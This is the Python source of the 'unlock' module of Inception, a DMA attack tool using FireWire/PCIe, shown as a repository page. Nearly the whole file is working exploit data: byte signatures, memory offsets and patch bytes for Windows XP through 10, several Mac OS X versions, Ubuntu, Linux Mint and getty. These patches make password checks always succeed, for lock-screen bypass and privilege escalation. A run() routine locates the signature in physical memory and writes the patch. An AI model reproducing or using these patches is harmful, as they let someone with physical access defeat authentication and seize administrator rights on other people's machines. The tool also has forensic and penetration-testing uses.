Permalink
Fetching contributors…
Cannot retrieve contributors at this time
684 lines (656 sloc) 23.8 KB
'''
Inception - a FireWire physical memory manipulation and hacking tool exploiting
PCI-based and IEEE 1394 SBP-2 DMA.
Copyright (C) 2011-2014 Carsten Maartmann-Moe
This program is free software: you can redistribute it and/or modify
it under the terms of the GNU General Public License as published by
the Free Software Foundation, either version 3 of the License, or
(at your option) any later version.
This program is distributed in the hope that it will be useful,
but WITHOUT ANY WARRANTY; without even the implied warranty of
MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the
GNU General Public License for more details.
You should have received a copy of the GNU General Public License
along with this program. If not, see <http://www.gnu.org/licenses/>.
Created on Jun 23, 2011
@author: Carsten Maartmann-Moe <carsten@carmaa.com> aka ntropy
'''
import sys
from inception import cfg, terminal
from inception.memory import Target, Signature, Chunk
from inception.exceptions import InceptionException
IS_INTRUSIVE = True
term = terminal.Terminal()
info = 'Unlocks the target\'s screensaver or lock screen. After running ' \
'this module you should be able to log in with any non-blank password.'
# Target template
# Target(
# name=None,
# note=None,
# signatures=[
# Signature(
# os=None,
# os_versions=[],
# os_architectures=['x86', 'x64'],
# executable=None,
# version=None,
# md5=None,
# tag=False,
# offsets=[],
# chunks=[
# Chunk(
# chunk=None,
# chunkoffset=0x00,
# patch=None,
# patchoffset=0x00)
# ]
# )
# ]
# )
targets = [
Target(
name='Windows 10 MsvpPasswordValidate unlock/privilege escalation',
note='Ensures that the password-check always returns true. This will '
'cause all accounts to no longer require a password, and will '
'also allow you to escalate privileges to Administrator via the '
'\'runas\' command.',
signatures=[
Signature(
os='Windows 10',
os_versions=['10.0'],
os_architectures=['x64'],
executable='NtlmShared.dll',
version=None,
md5=None,
tag=False,
offsets=[0x14f],
chunks=[
Chunk(
chunk=0xc60f84,
chunkoffset=0x00,
patch=0xb001,
patchoffset=0x07)
]
)
]
),
Target(
name='Windows 8 MsvpPasswordValidate unlock/privilege escalation',
note='Ensures that the password-check always returns true. This will '
'cause all accounts to no longer require a password, and will '
'also allow you to escalate privileges to Administrator via the '
'\'runas\' command.',
signatures=[
Signature(
os='Windows 8',
os_versions=['8.0'],
os_architectures=['x86'],
executable='msv1_0.dll',
version=None,
md5=None,
tag=False,
offsets=[0xde7],
chunks=[
Chunk(
chunk=0x8bff558bec81ec90000000a1,
chunkoffset=0x00,
patch=0xb001,
patchoffset=0xc1)
]
),
Signature(
os='Windows 8',
os_versions=['8.1'],
os_architectures=['x86'],
executable='msv1_0.dll',
version=None,
md5=None,
tag=False,
offsets=[0xca0],
chunks=[
Chunk(
chunk=0x8bff558bec81ec90000000a1,
chunkoffset=0x00,
patch=0x909090909090,
patchoffset=0xb3)
]
),
Signature(
os='Windows 8',
os_versions=['8.0', '8.1'],
os_architectures=['x64'],
executable='msv1_0.dll',
version=None,
md5=None,
tag=False,
offsets=[0x208, 0xd78],
chunks=[
Chunk(
chunk=0xc60f85,
chunkoffset=0x00,
patch=0x909090909090,
patchoffset=0x01),
Chunk(
chunk=0x66b80100,
chunkoffset=0x07,
patch=None,
patchoffset=0x00)
]
)
]
),
Target(
name='Windows 7 MsvpPasswordValidate unlock/privilege escalation',
note='NOPs out the jump that is called if passwords doesn\'t match. '
'This will cause all accounts to no longer require a password, '
'and will also allow you to escalate privileges to Administrator '
'via the \'runas\' command. Note: As the Windows stores the '
'LANMAN/NTLM hash of the entered password, the account will be '
'locked out of any Windows AD domain he/she was member of at '
'this machine.',
signatures=[
Signature(
os='Windows 7',
os_versions=['SP0', 'SP1'],
os_architectures=['x64'],
executable='msv1_0.dll',
version=None,
md5=None,
tag=False,
offsets=[0x2a8, 0x2a1, 0x291, 0x321, 0xe59, 0xe71, 0xe09, 0xdf1, 0xe19],
chunks=[
Chunk(
chunk=0xc60f85,
chunkoffset=0x00,
patch=0x909090909090,
patchoffset=0x01),
Chunk(
chunk=0xb8,
chunkoffset=0x07,
patch=None,
patchoffset=0x00)
]
),
Signature(
os='Windows 7',
os_versions=['SP0'],
os_architectures=['x86'],
executable='msv1_0.dll',
version=None,
md5=None,
tag=False,
offsets=[0x926],
chunks=[
Chunk(
chunk=0x83f8107513b0018b,
chunkoffset=0x00,
patch=0x83f8109090b0018b,
patchoffset=0x00)
]
),
Signature(
os='Windows 7',
os_versions=['SP1'],
os_architectures=['x86'],
executable='msv1_0.dll',
version=None,
md5=None,
tag=False,
offsets=[0x312, 0x6aa, 0x642],
chunks=[
Chunk(
chunk=0x83f8100f85,
chunkoffset=0x00,
patch=0x83f810909090909090b0018b,
patchoffset=0x00),
Chunk(
chunk=0xb0018b,
chunkoffset=0x09,
patch=None,
patchoffset=0x00),
]
)
]
),
Target(
name='Windows Vista MsvpPasswordValidate unlock/privilege escalation',
note='NOPs out the jump that is called if passwords doesn\'t match. '
'This will cause all accounts to no longer require a password, '
'and will also allow you to escalate privileges to Administrator '
'via the \'runas\' command. Note: As the patch stores the '
'LANMAN/NTLM hash of the entered password, the account will be '
'locked out of any Windows AD domain he/she was member of at '
'this machine.',
signatures=[
Signature(
os='Windows Vista',
os_versions=['SP2'],
os_architectures=['x64'],
executable='msv1_0.dll',
version=None,
md5=None,
tag=False,
offsets=[0x1a1],
chunks=[
Chunk(
chunk=0xc60f85,
chunkoffset=0x00,
patch=0x909090909090,
patchoffset=0x01),
Chunk(
chunk=0xb8,
chunkoffset=0x07,
patch=None,
patchoffset=0x00)
]
),
Signature(
os='Windows Vista',
os_versions=['SP0', 'SP1', 'SP2'],
os_architectures=['x86'],
executable='msv1_0.dll',
version=None,
md5=None,
tag=False,
offsets=[0x432, 0x80f, 0x74a],
chunks=[
Chunk(
chunk=0x83f8107513b0018b,
chunkoffset=0x00,
patch=0x83f8109090b0018b,
patchoffset=0x00)
]
)
]
),
Target(
name='Windows XP MsvpPasswordValidate unlock/privilege escalation',
note='NOPs out the jump that is called if passwords doesn\'t match. '
'This will cause all accounts to no longer require a password, '
'and will also allow you to escalate privileges to Administrator '
'via the \'runas\' command. Note: As the patch stores the '
'LANMAN/NTLM hash of the entered password, the account will be '
'locked out of any Windows AD domain he/she was member of at '
'this machine.',
signatures=[
Signature(
offsets=[0x862, 0x8aa, 0x946, 0x126, 0x9b6],
os='Windows XP',
os_versions=['SP2', 'SP3'],
os_architectures=['x86'],
executable='msv1_0.dll',
version=None,
md5=None,
tag=False,
chunks=[
Chunk(
chunk=0x83f8107511b0018b,
chunkoffset=0x00,
patch=0x83f8109090b0018b,
patchoffset=0x00)
]
)
]
),
Target(
name='Mac OS X DirectoryService/OpenDirectory unlock/privilege '
'escalation',
note='Overwrites the DoShadowHashAuth/ODRecordVerifyPassword return '
'value. After running, all local authentications (e.g., GUI, sudo, '
'etc.) will work with all non-blank passwords',
signatures=[
Signature(
os='Mac OS X',
os_versions=['10.6.4'],
os_architectures=['x64'],
executable=None,
version=None,
md5=None,
tag=False,
offsets=[0x7cf],
chunks=[
Chunk(
chunk=0x41bff6c8ffff48c78588,
chunkoffset=0x00,
patch=0x41bf0000000048c78588,
patchoffset=0x00)
]
),
Signature(
os='Mac OS X',
os_versions=['10.6.8'],
os_architectures=['x64'],
executable=None,
version=None,
md5=None,
tag=False,
offsets=[0xbff],
chunks=[
Chunk(
chunk=0x41bff6c8ffff,
chunkoffset=0x00,
patch=0x41bf00000000,
patchoffset=0x00)
]
),
Signature(
os='Mac OS X',
os_versions=['10.6.8'],
os_architectures=['x86'],
executable=None,
version=None,
md5=None,
tag=False,
offsets=[0x82f],
chunks=[
Chunk(
chunk=0xc78580f6fffff6c8ffff,
chunkoffset=0x00,
patch=0xc78580f6ffff00000000,
patchoffset=0x00)
]
),
Signature(
os='Mac OS X',
os_versions=['10.7.3'],
os_architectures=['x64'],
executable=None,
version=None,
md5=None,
tag=False,
offsets=[0xfa7],
chunks=[
Chunk(
chunk=0x0fb6,
chunkoffset=0x00,
patch=0x31dbffc3, # xor ebx,ebx; inc ebx;
patchoffset=0x00),
Chunk(
chunk=0x89d8eb0231c04883c4785b415c415d415e415f5dc3,
chunkoffset=0x0e,
patch=None,
patchoffset=0x00)
]
),
Signature(
os='Mac OS X',
os_versions=['10.8.2', '10.8.3', '10.8.4'],
os_architectures=['x64'],
executable=None,
version=None,
md5=None,
tag=False,
offsets=[0x334],
chunks=[
Chunk(
chunk=0x88d84883c4685b415c415d415e415f5d,
chunkoffset=0x00,
patch=0xb001, # mov al,1;
patchoffset=0x00)
]
),
Signature(
os='Mac OS X',
os_versions=['10.9'],
os_architectures=['x64'],
executable='CFOpenDirectory',
version=None,
md5=None,
tag=False,
offsets=[0x1e5],
chunks=[
Chunk(
chunk=0x4488e84883c4685b415c415d415e415f5d,
chunkoffset=0x00,
patch=0x90b001, # nop; mov al,1;
patchoffset=0x00)
]
)
]
),
Target(
name='Ubuntu libpam unlock/privilege escalation',
note='Overwrites the pam_authenticate return value. After running, '
'all PAM-based authentications (e.g., GUI, tty and sudo) will work '
'with no password.',
signatures=[
Signature(
os='Ubuntu',
os_versions=['10.04', '10.10', '11.10', '11.04', '12.04'],
os_architectures=['x86'],
executable=None,
version=None,
md5=None,
tag=False,
offsets=[0xa6d, 0xebd, 0x9ed, 0xbaf, 0xa7f],
chunks=[
Chunk(
chunk=0x83f81f89c774,
chunkoffset=0x00,
patch=0xbf00000000eb,
patchoffset=0x00)
]
),
Signature(
os='Ubuntu',
os_versions=['12.10', '13.04', '13.10'],
os_architectures=['x86'],
executable=None,
version=None,
md5=None,
tag=False,
offsets=[0xb46, 0xcae, 0xc95],
chunks=[
Chunk(
chunk=0xe8,
chunkoffset=0x00,
patch=None,
patchoffset=0x00),
Chunk(
chunk=0x83f81f,
chunkoffset=0x05,
patch=0x9031c0, # nop; xor eax,eax
patchoffset=0x00)
]
),
Signature(
os='Ubuntu',
os_versions=['11.10', '11.04', '12.04'],
os_architectures=['x64'],
executable=None,
version=None,
md5=None,
tag=False,
offsets=[0x838, 0x5b8, 0x3c8],
chunks=[
Chunk(
chunk=0x83f81f89c574,
chunkoffset=0x00,
patch=0xbd00000000eb,
patchoffset=0x00)
]
),
Signature(
os='Ubuntu',
os_versions=['12.10', '13.04', '13.10'],
os_architectures=['x64'],
executable=None,
version=None,
md5=None,
tag=False,
offsets=[0x4aa, 0x69b, 0x688],
chunks=[
Chunk(
chunk=0xe8,
chunkoffset=0x00,
patch=None,
patchoffset=0x00),
Chunk(
chunk=0x83f81f,
chunkoffset=0x05,
patch=0x6631c0, # xor eax,eax
patchoffset=0x00)
]
)
]
),
Target(
name='Linux Mint libpam unlock/privilege escalation',
note='Overwrites the pam_authenticate return value. After running, '
'all PAM-based authentications (e.g., GUI, tty and sudo) will work '
'with no password.',
signatures=[
Signature(
os='Linux Mint',
os_versions=['11', '12', '13'],
os_architectures=['x86'],
executable=None,
version=None,
md5=None,
tag=False,
offsets=[0xebd, 0xbaf, 0xa7f],
chunks=[
Chunk(
chunk=0x83f81f89c774,
chunkoffset=0x00,
patch=0xbf00000000eb,
patchoffset=0x00)
]
),
Signature(
os='Linux Mint',
os_versions=['11', '12', '13'],
os_architectures=['x64'],
executable=None,
version=None,
md5=None,
tag=False,
offsets=[0x838, 0x5b8, 0x3c8],
chunks=[
Chunk(
chunk=0x83f81f89c574,
chunkoffset=0x00,
patch=0xbd00000000eb,
patchoffset=0x00)
]
)
]
),
Target(
name='Generic Linux Getty preauthenticated patch',
note='The last command parameter to getty "--" is preventing commmand injection in the shell.'
' This can be replace to "-f" which results in the user beeing preauthenticated.'
' Getty is used to login on a text console on most Linux systems. GDM, KDM or pam is not affected.'
' When the patch is applied, switch to a text console (on most ditros using Ctrl+Alt+F2) and login without requiring a password.'
' If you want to target another Linux system; dump the memory, use a hex editor to search for the chunk and'
' enter the pageoffset in the offset field below and rerun inception.',
signatures=[
Signature(
os='Linux',
os_versions=['Most'],
os_architectures=['x86', 'x64'],
executable=None,
version=None,
md5=None,
tag=True,
offsets=[0x892],
chunks=[
Chunk(
chunk=0x2d2d0025733a206361,
chunkoffset=0x00,
patch=0x66,
patchoffset=0x01)
]
)
]
)
]
def add_options(parser):
parser.add_option('-l', '--list',
action='callback',
callback=list_targets,
help='list available targets (operating systems).')
parser.add_option('-t', '--target-number',
dest='target_number',
help='specify a target number.')
parser.add_option('-p', '--payload',
dest='payload_filename',
help='specify a file that contains a binary payload to '
'patch with instead of the signature patch.')
parser.add_option('-r', '--revert',
action='store_true',
dest='revert',
help='revert patch after use.')
parser.add_option('--dry-run',
action='store_true',
dest='dry_run',
help='dry run, do not write back to memory.')
def select_target(targets, selected=False):
'''
Provides easy selection of targets. Input is a list of targets (dicts)
'''
if len(targets) == 1:
term.info('Only one target present, auto-selected')
return targets[0]
if not selected:
selected = term.poll('Please select target (or enter \'q\' to quit):')
nof_targets = len(targets)
try:
selected = int(selected)
except:
if selected == 'q':
sys.exit()
else:
term.warn('Invalid selection, please try again. Enter \'q\' to '
'quit')
return select_target(targets)
if 0 < selected <= nof_targets:
return targets[selected - 1]
else:
term.warn('Please enter a selection between 1 and {0}. Type \'q\' '
'to quit'.format(nof_targets))
return select_target(targets)
def list_targets(*args, **kwargs):
term.info('Available targets (known signatures):')
print()
for number, target in enumerate(targets, 1):
term.info('{0}'.format(target.name), sign=number)
# TODO: Make detailed listing of targets work: opts.verbose
print()
def run(opts, memspace):
'''
Main attack logic
'''
if not opts.target_number:
list_targets()
# Select target, print selection
target = select_target(targets, selected=opts.target_number)
term.info('Selected target: ' + target.name)
# Search for the target
address, signature, offset = memspace.find(target, verbose=opts.verbose)
# Signature found, let's patch
page = memspace.page_no(address)
term.info('Signature found at {0:#x} in page no. {1}'
.format(address, page))
if not opts.dry_run:
try:
if opts.payload_filename:
try:
payload = open(opts.payload_filename, 'rb').read()
except Exception as e:
raise InceptionException(e)
backup = memspace.write(address, payload)
else:
backup = memspace.patch(address, signature)
term.info('Patch verified; successful')
except InceptionException:
raise
if opts.revert:
term.poll('Press [enter] to revert the patch:')
memspace.write(address, backup)
if backup == memspace.read(address, signature.length):
term.info('Reverted patch verified; successful')
else:
raise InceptionException('Reverted patch could not be '
'verified')
return address, page